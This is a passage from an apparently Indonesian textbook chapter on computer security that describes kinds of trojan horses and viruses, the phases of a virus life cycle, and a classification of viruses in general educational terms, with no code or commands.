fungsi-fungsi berguna (seperti kalkulator), tapi juga secara diam-diam 

menghapus file-file pemakai. 

4. Trojan horse biasa ditempelkan pada program-program atau rutin-rutin 

yang diambil dari BBS, internet, dan sebagainya. 

 

 

Jenis Trojan Horse 

1. Rootkit 

Rootkit bekerja dengan menyembunyikan aktivitas tertentu pada sistem 

komputer. Rootkit memungkinkan malware berjalan tanpa terdeteksi, 

untuk meningkatkan lamanya waktu dan tingkat kerusakan yang dapat 

diciptakan dari satu kali infeksi. 

2. Backdoor 

Trojan backdoor memberikan kendali jarak jauh secara penuh kepada 

pemilik, sehingga dia dapat mengedit, mengirim, mengunduh dan 

menghapus file. Trojan jenis ini sering digunakan untuk membajak 

perangkat pribadi demi kegiatan kriminal. 

3. Exploit 

Exploit bekerja dengan memanfaatkan lubang keamanan dalam 

perangkat lunak. Baik dalam aplikasi tertentu atau memengaruhi sistem 

operasinya sendiri, exploit dapat memanipulasi kerentanan untuk 

mendapatkan akses langsung ke file Anda. 

4. DDoS 

Singkatan dari “Distributed Denial of Service,” Trojan ini akan meminta 

komputer untuk mengirim permintaan yang tak terhitung jumlahnya ke 

URL tertentu, dengan tujuan membebani server dan mematikan situs. 

5. Spyware 

Spyware bertujuan untuk mencegat informasi pribadi Anda. Untuk 

mencapai tujuan ini, spyware menyalin file atau memakai  layar atau 

keylogger untuk merekam apa yang Anda ketik dan situs web mana yang 

Anda kunjungi. 

6. Ransomware 

Serangan ransomware sering dilakukan dengan memakai  Trojan. 

Setelah malware masuk ke komputer Anda, komputer itu mengunci Anda 

dari area tertentu. Satu-satunya cara untuk mendapatkan kembali akses 

yaitu  dengan membayar denda. 

 


7.2.5. Virus 

Virus yaitu  Kode yang ditempelkan dalam satu program yang 

menyebabkan pengkopian dirinya disisipkan ke satu program lain atau lebih, 

dengan cara memodifikasi program-program itu. 

 

 


Jenis Jenis Virus 

1. Trojan 

 Trojan yaitu  virus yang dibuat dengan tujuan untuk mencuri data serta 

mengkontrol data korban. Virus ini masuk kedalam komputer lewat 

internet, email, dan lain – lain. 

2. Worm 

 Worm dikategorikan sebagai virus yang tidak membahayakan, namun 

mengganggu. Pasalnya, jika komputer terjangkit virus worm dibiarkan 

terlalu lama, worm akan menggandakan dirinya sendiri dan membuat 

space pada harddisk pengguna penuh. 

3. Memory Resident 

 Biasa akan menyerang RAM. Komputer yang terjangkit virus ini biasanya 

sering mengalami perlambatan pada program ketika dijalankan. 

4. Companion Virus 

 Merupakan virus yang cukup sulit untuk di Track. Virus ini cukup 

mengganggu sebab   dapat mengubah format dari file kita. Hal ini  

membuat file kita tidak dapat dibuka atau bahkan sulit ditemukan 

5. FAT Virus 

File Allocation Table Virus yaitu  virus yang cukup berbahaya, sebab  

memiliki kemampuan untuk menghancurkan file kita. Selain 

menghancurkan, bisa saja virus ini menyembunyikan file – file kita, 

sehingga seakan akan hilang atau terhapus. 

 

7.2.5.1 Siklus Hidup Virus 

Siklus hidup virus melalui empat fase(tahap), Yaitu : 

1. Fase tidur (dormant phase). Virus dalam keadaan menganggur. Virus 

akan tiba-tiba aktif oleh suatu kejadian seperti tibanya tanggal tertentu, 

kehadiran program atau file tertentu, atau kapasitas disk yang melewati 

batas. Tidak semua virus mempunyai tahap ini. 

2. Fase propagasi (propagation phase). Virus menempatkan kopian dirinya 

ke program lain atau daerah sistem tertentu di disk. Program yang 

terinfeksi virus akan mempunyai kloning virus. Kloning virus itu dapat 

kembali memasuki fase propagasi. 

3. Fase pemicuan (triggering phase). Virus diaktifkan untuk melakukan  

fungsi  tertentu. Seperti pada fase tidur, fase pemicuan dapat 

disebabkan beragam kejadian sistem termasuk penghitungan jumlah 

kopian dirinya. 

4. Fase eksekusi (execution phase). Virus menjalankan fungsinya, 

fungsinya mungkin sepele seperti sekedar menampilkan pesan dilayar 

atau merusak seperti merusak program dan file-file data, dan 

sebagainya. Kebanyakan virus melakukan kerjanya untuk suatu sistem 

operasi tertentu, lebih spesifik lagi pada platform perangkat keras 

tertentu. Virus-virus dirancang memanfaatkan rincian-rincian dan 

kelemahan- kelemahan sistem tertentu. 

 

7.2.5.2 Klasifikasi Virus 

1. Parasitic virus. Merupakan virus tradisional dan bentuk virus yang paling 

sering. Tipe ini mencantolkan dirinya ke file .exe. Virus mereplikasi 

ketika program terinfeksi dieksekusi dengan mencari file-file .exe lain 

untuk diinfeksi. 

2. Memory resident virus. Virus memuatkan diri ke memori utama sebagai 

bagian program yang menetap. Virus menginfeksi setiap program yang 

dieksekusi. 

3. Boot sector virus. Virus menginfeksi master boot record atau boot 

record dan menyebar saat sistem diboot dari disk yang berisi virus. 

4. Stealth virus. Virus yang bentuknya telah dirancang agar dapat 

menyembunyikan diri dari deteksi perangkat lunakantivirus. 

5. Polymorphic virus. Virus bermutasi setiap kali melakukan infeksi. 

Deteksi dengan penandaan virus ini  tidak dimungkinkan. Penulis 

virus dapat melengkapi dengan alat-alat bantu penciptaan virus baru 

(virus creation toolkit, yaitu rutin-rutin untuk menciptakan virus-virus 

baru). Dengan alat bantu ini penciptaan virus baru dapat dilakukan 

dengan cepat. Virus-virus yang diciptakan dengan alat bantu biasanya 

kurang canggih dibanding